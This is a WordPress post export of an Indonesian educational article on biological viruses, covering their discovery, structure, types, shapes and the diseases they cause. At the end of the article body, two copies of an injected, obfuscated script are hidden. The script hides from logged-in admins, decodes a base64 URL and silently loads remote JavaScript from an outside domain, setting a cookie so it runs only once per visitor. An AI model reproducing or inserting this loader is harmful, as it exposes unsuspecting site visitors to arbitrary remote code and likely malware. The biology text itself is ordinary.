{"id":1653,"date":"2025-09-16T09:00:21","date_gmt":"2025-09-16T02:00:21","guid":{"rendered":"https:\/\/www.altaglobalschool.com\/blog\/?p=1653"},"modified":"2026-01-20T06:24:42","modified_gmt":"2026-01-19T23:24:42","slug":"apa-itu-virus","status":"publish","type":"post","link":"https:\/\/www.altaglobalschool.com\/blog\/apa-itu-virus","title":{"rendered":"Virus: Pengertian, Struktur, Ciri, Jenis, Bentuk, &#038; Sejarah"},"content":{"rendered":"<p style=\"text-align: justify;\"><img decoding=\"async\" class=\"aligncenter size-medium\" src=\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/0139f6e4-2038-4282-84fa-46c59a412c1d.png\" alt=\"virus\" \/><\/p>\n<blockquote>\n<p style=\"text-align: center;\"><em><span style=\"font-weight: 400;\">Penyakit yang diderita makhluk hidup banyak yang disebabkan virus. Mari mengenal virus mulai dari pengertian, jenis, hingga perannya.<\/span><\/em><\/p>\n<\/blockquote>\n<p style=\"text-align: center;\">&#8212;<\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Virus menjadi salah satu topik yang selalu menarik untuk dibahas karena perannya begitu besar dalam kehidupan makhluk hidup. Virus memiliki efek yang tidak dapat diabaikan, dari penyakit ringan seperti flu hingga pandemi global yang mengubah sejarah.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Kita semua pasti pernah terjangkit penyakit yang disebabkan oleh virus. Namun, sebenarnya apa itu virus? Seperti apa awal mula kemunculannya? Juga apa saja jenis-jenisnya? Artikel ini siap menjawab semua rasa ingin tahumu!<\/span><\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: justify;\"><span style=\"font-size: 18pt;\"><b>Pengertian Virus<\/b><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\"><strong>Virus adalah mikroorganisme patogen yang sangat kecil<\/strong> yang hanya dapat <strong>hidup dan berkembang biak dengan menginfeksi bakteri, tumbuhan, hewan, dan manusia.<\/strong> Untuk memperbanyak diri, virus perlu menumpang pada sel inang karena tidak memiliki perlengkapan seluler untuk bereproduksi sendiri.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Virus terdiri dari materi genetik berupa DNA atau RNA yang terbungkus oleh lapisan protein yang disebut kapsid. Beberapa jenis virus memiliki amplop lipid di luar kapsidnya, yang membuatnya sangat kecil dan tidak dapat dilihat dengan mikroskop cahaya.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Virus dianggap sebagai makhluk yang unik dan sering dikaitkan dengan penyakit pada berbagai makhluk hidup karena sifatnya yang parasit dan bergantung pada sel inang.<\/span><\/p>\n<p style=\"text-align: justify;\"><strong>Baca juga: <a href=\"https:\/\/www.altaglobalschool.com\/blog\/sistem-organ-tubuh-manusia\">Mengenal Sistem Organ Tubuh Manusia dan Fungsinya<\/a><\/strong><\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: justify;\"><span style=\"font-size: 18pt;\"><b>Sejarah Virus<\/b><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Sejarah penemuan virus dimulai pada tahun 1883 ketika Adolf Mayer, seorang ahli kimia pertanian asal Jerman, mengamati penyakit yang menyebabkan bercak kuning pada daun tembakau yang kemudian dikenal sebagai penyakit mosaik tembakau.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Mayer mengamati getah dari tanaman yang sakit bisa menularkan penyakit ke tanaman sehat, tetapi dia tidak bisa menemukan bakteri penyebab penyakit tersebut menggunakan mikroskop biasa. Ia menyimpulkan bahwa agen penyebab penyakit itu lebih kecil dari bakteri biasa.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Pada tahun 1892, Dmitri Ivanovsky, seorang ilmuwan Rusia, melakukan percobaan dengan menyaring getah tanaman tembakau yang sakit menggunakan filter yang biasanya menyaring bakteri. Namun, getah yang telah disaring tersebut tetap dapat menyebabkan penyakit pada tanaman sehat.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Ia menyimpulkan penyakit ini disebabkan oleh <\/span><span style=\"font-weight: 400;\">bakteri berukuran sangat kecil atau menghasilkan toksin yang mampu melewati saringan.<\/span><\/p>\n<p><img decoding=\"async\" class=\"aligncenter size-medium\" src=\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/19f9be66-d957-461c-adf5-c2d4f134bcab.png\" alt=\"gambar virus\" width=\"600\" \/><\/p>\n<p style=\"text-align: center;\"><em><span style=\"font-weight: 400;\">Gambar Virus (Sumber: pexels.com)<\/span><\/em><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Kemudian pada tahun 1898, Martinus Beijerinck, seorang ilmuwan Belanda, melakukan penelitian tambahan untuk membuktikan patogen yang menyebabkan penyakit pada tanaman tembakau dapat memperbanyak diri. Ia mengambil getah dari tanaman yang sakit dan menyemprotkannya ke tanaman lain yang sehat.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Setelah tanaman sehat terinfeksi, getahnya digunakan untuk menginfeksi tanaman lain. Sifat patogen agen tersebut tidak berkurang setelah beberapa kali pemindahan.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Martinus Beijerinck menemukan agen penyebab penyakit itu berbeda dari bakteri karena tidak bisa tumbuh di dalam cawan petri dan tidak bisa dihancurkan menggunakan alkohol. Ia kemudian memberi nama agen ini sebagai virus yang dapat melewati saringan atau <\/span><em><span style=\"font-weight: 400;\">filterable virus<\/span><\/em><span style=\"font-weight: 400;\">.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Penemuan besar berikutnya terjadi pada tahun 1935 ketika Wendell Meredith Stanley berhasil mengkristalkan virus mosaik tembakau. Stanley berhasil mengubah virus mosaik tembakau menjadi bentuk kristal dalam larutan, sebuah pencapaian yang hanya mungkin dilakukan sebelumnya pada molekul kimia murni yang ukurannya jauh lebih kecil dibanding virus.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: justify;\"><span style=\"font-size: 18pt;\"><b>Reproduksi Virus<\/b><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Virus memerlukan lingkungan sel hidup untuk berkembang biak. Jenis sel hidup ini dapat terdiri dari sel manusia, hewan, tumbuhan, atau mikroorganisme. <\/span><span style=\"font-weight: 400;\">Meskipun proses reproduksi virus dapat berbeda berdasarkan jenisnya, secara umum mencakup tahapan-tahapan berikut.<\/span><\/p>\n<h3><span style=\"font-size: 14pt;\"><b>1. Penetrasi<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Virus masuk ke sel inang dan memasukkan materi genetiknya.<\/span><\/p>\n<h3><span style=\"font-size: 14pt;\"><b>2. Pelepasan kapsid\u00a0<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Kapsid virus, yang mengelilingi materi genetik, dilepaskan di dalam sel.<\/span><\/p>\n<h3><span style=\"font-size: 14pt;\"><b>3. Replikasi<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Mesin sel inang digunakan untuk mereplikasi materi genetik virus.<\/span><\/p>\n<h3><span style=\"font-size: 14pt;\"><b>4. Pembentukan partikel virus<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Untuk membentuk partikel virus baru, protein virus baru disintesis dan dirakit dengan materi genetik.<\/span><\/p>\n<h3><span style=\"font-size: 14pt;\"><b>5. Pelepasan<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Partikel virus baru keluar dari sel inang dan siap untuk menginfeksi sel baru.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p style=\"text-align: justify;\"><strong>Baca juga: <a href=\"https:\/\/www.altaglobalschool.com\/blog\/apa-itu-sel\">Sel: Pengertian, Ciri-Ciri, Struktur, dan Jenis-Jenisnya<\/a><\/strong><\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: justify;\"><span style=\"font-size: 18pt;\"><b>Ciri-Ciri Virus<\/b><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Virus memiliki ciri-ciri khusus yang membedakannya dari makhluk hidup lainnya. Ciri-ciri ini sekaligus menjadi alasan mengapa virus sering dianggap unik, karena berada di antara makhluk hidup dan benda mati. Berikut adalah beberapa ciri utama virus yang perlu diketahui.<\/span><\/p>\n<ul style=\"text-align: justify;\">\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">bereproduksi hanya dalam sel inang hidup, tetapi pada tingkat yang banyak dan berkali lipat.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Hanya memiliki satu jenis asam nukleat yang terbungkus oleh kapsid atau selubung protein: DNA atau RNA.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Virus tidak memiliki sitoplasma atau organel seluler, yang berarti mereka adalah aseluler.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Beberapa virus memiliki lapisan tambahan yang disebut amplop yang menyelubungi kapsidnya. Virus yang tidak memiliki amplop ini dikenal dengan sebutan &#8220;naked virus&#8221; atau virus telanjang.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Ukurannya sangat kecil yaitu antara 25 \u2013 300 nm.\u00a0<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Hanya bisa hidup dan berkembang biak sebagai parasit intraseluler obligat dalam sel hidup.<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: justify;\"><span style=\"font-size: 18pt;\"><b>Struktur Virus<\/b><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Struktur tubuh virus terdiri dari kepala, leher, dan ekor. Masing-masing bagian melakukan tugas tertentu.\u00a0<\/span><\/p>\n<h3><span style=\"font-size: 14pt;\"><b>1. Kepala<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Bagian kepala terdiri dari asam nukleat (DNA dan RNA) dan diselubungi oleh kapsid. Kapsid terdiri dari satu unit protein yang disebut kapsomer. Kapsid ini juga membentuk virus dan memberikan protein enzim, melindungi asam nukleat dari kerusakan agar mampu menembus membran sel inang saat menginfeksi.<\/span><\/p>\n<h3><span style=\"font-size: 14pt;\"><b>2. Leher<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Bagian kepala dan ekor terhubung dengan leher. Namun, tidak semua virus memiliki leher.<\/span><\/p>\n<h3><span style=\"font-size: 14pt;\"><b>3. Ekor<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Bagian ekor akan menancap pada tubuh inang yang nantinya dijadikan rumah oleh virus. Ekor berbentuk seperti tabung yang lengkap dengan serabut-serabut.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><img decoding=\"async\" class=\"aligncenter size-medium\" src=\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/77baefef-738a-4ea7-86cf-d066f5175eca.png\" alt=\"struktur virus\" \/><\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: justify;\"><span style=\"font-size: 18pt;\"><b>Jenis-Jenis Virus<\/b><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Virus dikelompokkan berdasarkan <\/span><span style=\"font-weight: 400;\">ukuran, bentuk, dan jenis materi genetik yang dibawanya. Berikut jenis-jenis virus yang umum diketahui.<\/span><\/p>\n<h3><span style=\"font-size: 14pt;\"><b>1. Influenza (orthomyxoviridae)<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Keluarga jenis <\/span><em><span style=\"font-weight: 400;\">Orthomyxoviridae<\/span><\/em><span style=\"font-weight: 400;\"> menyebabkan flu, termasuk flu burung dan babi.<\/span><\/p>\n<h3><span style=\"font-size: 14pt;\"><b>2. Virus Corona<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><em><span style=\"font-weight: 400;\">Coronavirus<\/span><\/em><span style=\"font-weight: 400;\"> adalah jenis yang menyebabkan COVID-19. Adapun jenis lainnya yang masih dalam satu keluarga ini hanya menyebabkan penyakit ringan, seperti flu.<\/span><\/p>\n<h3><span style=\"font-size: 14pt;\"><b>3. Virus Herpes Manusia (Herpesviridae)<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><i><span style=\"font-weight: 400;\">Herpesviridae<\/span><\/i><span style=\"font-weight: 400;\"> menyebabkan beberapa jenis penyakit seperti, cacar air, herpes zoster, herpes mulut dan kelami, epstein-barr dan <\/span><i><span style=\"font-weight: 400;\">cytomegalovirus<\/span><\/i><span style=\"font-weight: 400;\"> (CMV).<\/span><\/p>\n<h3><span style=\"font-size: 14pt;\"><b>4. Virus Hepatitis<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Semua virus hepatitis dapat menginfeksi hati manusia, meskipun tidak semuanya berasal dari keluarga atau genus yang sama. Hepatitis A, B, dan C adalah yang paling sering terjadi.<\/span><\/p>\n<h3><span style=\"font-size: 14pt;\"><b>5. <em>Human Papillomaviruses<\/em><\/b><b> (HPV)<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">HPV menyebabkan kutil. Beberapa jenis HPV dapat menyebabkan kanker.\u00a0<\/span><\/p>\n<h3><span style=\"font-size: 14pt;\"><b>6. Oncovirus<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Virus yang dapat menyebabkan kanker dikenal sebagai oncovirus. Beberapa virus yang berhubungan dengan kanker tertentu meliputi HPV, epstein barr, HIV, hepatitis B dan C, dan lain-lain.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: justify;\"><span style=\"font-size: 18pt;\"><b>Bentuk-Bentuk Virus<\/b><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Bentuk virus sangat bervariasi dan unik, di antaranya:<\/span><\/p>\n<h3><span style=\"font-size: 14pt;\"><b>1. Virus Bentuk Bulat<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Virus yang punya bentuk ini yaitu<\/span><em><span style=\"font-weight: 400;\"> Human Immunodeficiency<\/span> <span style=\"font-weight: 400;\">Virus<\/span><\/em><span style=\"font-weight: 400;\"> (HIV).<\/span><\/p>\n<h3><span style=\"font-size: 14pt;\"><b>2. Virus Bentuk Huruf T<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Bentuk seperti ini dapat ditemui pada bakteriofag.<\/span><\/p>\n<h3><span style=\"font-size: 14pt;\"><b>3. Virus Bentuk Batang<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Virus yang punya bentuk ini yaitu<\/span><em><span style=\"font-weight: 400;\"> Tobacco Mosaic Virus<\/span><\/em><span style=\"font-weight: 400;\"> (TMV).<\/span><\/p>\n<h3><span style=\"font-size: 14pt;\"><b>4. Virus Bentuk Filamen atau Benang<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Bentuk ini dapat dijumpai pada virus ebola.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p style=\"text-align: justify;\"><strong>Baca juga: <a href=\"https:\/\/www.altaglobalschool.com\/blog\/sistem-saraf-manusia\">Sistem Saraf Manusia: Bagian, Fungsi dan Gangguan<\/a><\/strong><\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: justify;\"><span style=\"font-size: 18pt;\"><b>Dampak Virus<\/b><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Virus mempunyai dampak positif dan negatif yang beragam bagi kehidupan manusia dan ekosistem.<\/span><\/p>\n<h3><span style=\"font-size: 14pt;\"><b>1. Dampak Positif<\/b><\/span><\/h3>\n<ul style=\"text-align: justify;\">\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Peran virus dalam ekosistem: membantu mengendalikan populasi bakteri sehingga turut menjaga keseimba ngan ekosistem.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Peran virus dalam penelitian dan kedokteran: dimanfaatkan dalam riset biologi molekuler, terapi genetik, dan produksi vaksin, termasuk vaksin mRNA modern.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Peran virus dalam pengobatan: virus onkolitik digunakan untuk terapi kanker dengan membunuh sel kanker tanpa merusak sel sehat.<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<h3><span style=\"font-size: 14pt;\"><b>2. Dampak Negatif<\/b><\/span><\/h3>\n<ul style=\"text-align: justify;\">\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Penyakit: virus adalah penyebab berbagai penyakit pada manusia, hewan, dan tumbuhan, seperti flu, HIV\/AIDS, ebola, dan COVID-19, yang dapat menyebabkan gejala serius hingga kematian.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Kerusakan ekonomi: wabah virus besar dapat mengganggu industri, perdagangan, dan pariwisata, menimbulkan kerugian finansial besar.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Ancaman keanekaragaman hayati: virus dapat menyebabkan kepunahan spesies tertentu, terutama di populasi kecil dan terisolasi.<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: justify;\"><span style=\"font-size: 18pt;\"><b>Penyakit-Penyakit yang Ditimbulkan oleh Virus<\/b><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Sudah menjadi pengetahuan umum bahwa virus dapat menimbulkan aneka ragam penyakit. <\/span><span style=\"font-weight: 400;\">Berikut adalah beberapa penyakit yang disebabkan oleh virus.<\/span><\/p>\n<h3 style=\"text-align: justify;\"><strong><span style=\"font-size: 14pt;\">1. Flu (Influenza)<\/span><\/strong><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Infeksi saluran pernapasan atas yang menyebabkan demam, batuk, pilek, dan nyeri otot.<\/span><\/p>\n<h3><span style=\"font-size: 14pt;\"><b>2. Demam Berdarah (Dengue)<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Penyakit ini ditularkan oleh nyamuk Aedes, dengan gejala demam tinggi, pendarahan, dan ruam.<\/span><\/p>\n<h3><span style=\"font-size: 14pt;\"><b>3. Polio\u00a0<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Penyakit ini menyerang sistem saraf dan dapat menyebabkan kelumpuhan.<\/span><\/p>\n<h3><span style=\"font-size: 14pt;\"><b>4. Hepatitis\u00a0<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Infeksi virus ini menyerang hati, seperti hepatitis A, B, dan C, yang bisa menyebabkan kerusakan hati kronis.<\/span><\/p>\n<h3><span style=\"font-size: 14pt;\"><b>5. AIDS (HIV)<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Virus ini menyerang sistem kekebalan tubuh dan menyebabkan penurunan fungsi imun.<\/span><\/p>\n<h3><span style=\"font-size: 14pt;\"><b>6. Cacar Air (Varicella)\u00a0<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Penyakit ini menyebabkan ruam gatal dan demam, sering menyerang anak-anak.<\/span><\/p>\n<h3><span style=\"font-size: 14pt;\"><b>7. Rabies\u00a0<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Rabies ditularkan melalui gigitan hewan, menyebabkan kerusakan otak dan kematian jika tidak ditangani.<\/span><\/p>\n<h3><span style=\"font-size: 14pt;\"><b>8. Rubella<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Penyakit ini berbahaya bagi janin jika ibu hamil terinfeksi, ditandai dengan demam ringan dan ruam.<\/span><\/p>\n<h3><span style=\"font-size: 14pt;\"><b>9. Zika\u00a0<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Zika menyebabkan demam, ruam, nyeri sendi, dan risiko cacat lahir jika ibu hamil terinfeksi.<\/span><\/p>\n<p style=\"text-align: center;\">&#8212;<\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Itu dia fakta lengkap mengenai virus. Sekarang, ilmumu tentang virus bertambah, Mulai dari pengertian, sejarah, jenis, bentuk, hingga peran virus.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Saatnya dapatkan lebih banyak pengetahuan sains di <\/span><span style=\"font-weight: 400;\">\u00a0<\/span><strong><a href=\"https:\/\/www.ruangguru.com\/blog\/alta-school\">Alta Global School by Ruangguru<\/a>! <\/strong><span style=\"font-weight: 400;\">Di sini kamu bisa belajar dengan sistem <\/span><em><span style=\"font-weight: 400;\">blended learning<\/span><\/em><span style=\"font-weight: 400;\">, gabungan pembelajaran daring dan luring, mulai dari <\/span><span style=\"font-weight: 400;\"><em>preschool<\/em> <\/span><span style=\"font-weight: 400;\">sampai <\/span><em><span style=\"font-weight: 400;\">high school<\/span><\/em><span style=\"font-weight: 400;\"><em>,<\/em> dengan <\/span><em><span style=\"font-weight: 400;\">Champions Curriculum<\/span><\/em><span style=\"font-weight: 400;\"> yang menggabungkan kurikulum internasional dan nasional.\u00a0<\/span><\/p>\n<p><strong>Masih ragu? Coba kelas gratisnya dengan klik gambar di bawah ini!<\/strong><\/p>\n<p><a href=\"https:\/\/cdn.jotfor.ms\/250018424797460&amp;channel=blog-ags&amp;subchannel1=button-ags&amp;source=ags\" target=\"_blank\" rel=\"noopener\"><img decoding=\"async\" class=\"aligncenter\" src=\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/c30888d1-988b-4e9e-b0a6-20fe32081d0d.png\" alt=\"Banner Blog AGS\" \/><\/a><\/p>\n<p style=\"text-align: justify;\"><strong>Referensi:<\/strong><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">https:\/\/www.gramedia.com\/literasi\/virus\/?srsltid=AfmBOopqB7KiaQ6xMAh8Baa9zNXTsSp6gE_ZClzpEISrhaqIdvSnM0La<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">https:\/\/www.halodoc.com\/kesehatan\/virus?srsltid=AfmBOoo0k9TPJg7vifLcUfguQo0VkKq6ramvTnGngHCWE2H9TmayZtj_<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">https:\/\/www.ruangguru.com\/blog\/struktur-virus<\/span><span style=\"font-weight: 400;\">\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">https:\/\/www.tempo.co\/gaya-hidup\/sejarah-penemuan-virus-tokoh-dan-ciri-cirinya-1181133<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">https:\/\/katadata.co.id\/lifestyle\/edukasi\/661f6d2a25a17\/7-ciri-ciri-virus-beserta-pengertian-jenis-dan-bentuknya<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">https:\/\/www.biotifor.or.id\/tahapan-reproduksi-virus\/<\/span><\/p>\n<div id=\"ag-popper-container-1758268526336\" class=\"ag-translate-popper-host\"><\/div>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Penyakit yang diderita makhluk hidup banyak yang disebabkan virus. Mari mengenal virus mulai dari pengertian, jenis, hingga perannya. &#8212; Virus menjadi salah satu topik yang selalu menarik untuk dibahas karena perannya begitu besar dalam kehidupan makhluk hidup. Virus memiliki efek yang tidak dapat diabaikan, dari penyakit ringan seperti flu hingga pandemi global yang mengubah sejarah. [&hellip;]<\/p>\n","protected":false},"author":44,"featured_media":1653,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_edit_lock":["1758697547:1"],"_edit_last":["1"],"_aioseo_title":[null],"_aioseo_description":["Penyakit yang diderita makhluk hidup sebagian besar disebabkan virus. Yuk, kenalan mulai dari pengertian, jenis, bentuk, ciri, struktur, hingga perannya."],"_aioseo_keywords":["a:0:{}"],"_aioseo_og_title":[null],"_aioseo_og_description":[null],"_aioseo_og_article_section":[""],"_aioseo_og_article_tags":["a:0:{}"],"_aioseo_twitter_title":[null],"_aioseo_twitter_description":[null],"_knawatfibu_url":["https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/0139f6e4-2038-4282-84fa-46c59a412c1d.png"],"_linker_next_update":["1769393380"],"_yoast_wpseo_metadesc":["Penyakit yang diderita makhluk hidup sebagian besar disebabkan virus. Yuk, kenalan mulai dari pengertian, jenis, bentuk, ciri, struktur, hingga perannya."]},"categories":[1],"tags":[],"class_list":["post-1653","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-uncategorized"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v25.9 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Virus: Pengertian, Struktur, Ciri, Jenis, Bentuk, &amp; Sejarah<\/title>\n<meta name=\"description\" content=\"Penyakit yang diderita makhluk hidup sebagian besar disebabkan virus. Yuk, kenalan mulai dari pengertian, jenis, bentuk, ciri, struktur, hingga perannya.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.altaglobalschool.com\/blog\/apa-itu-virus\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Virus: Pengertian, Struktur, Ciri, Jenis, Bentuk, &amp; Sejarah\" \/>\n<meta property=\"og:description\" content=\"Penyakit yang diderita makhluk hidup sebagian besar disebabkan virus. Yuk, kenalan mulai dari pengertian, jenis, bentuk, ciri, struktur, hingga perannya.\" 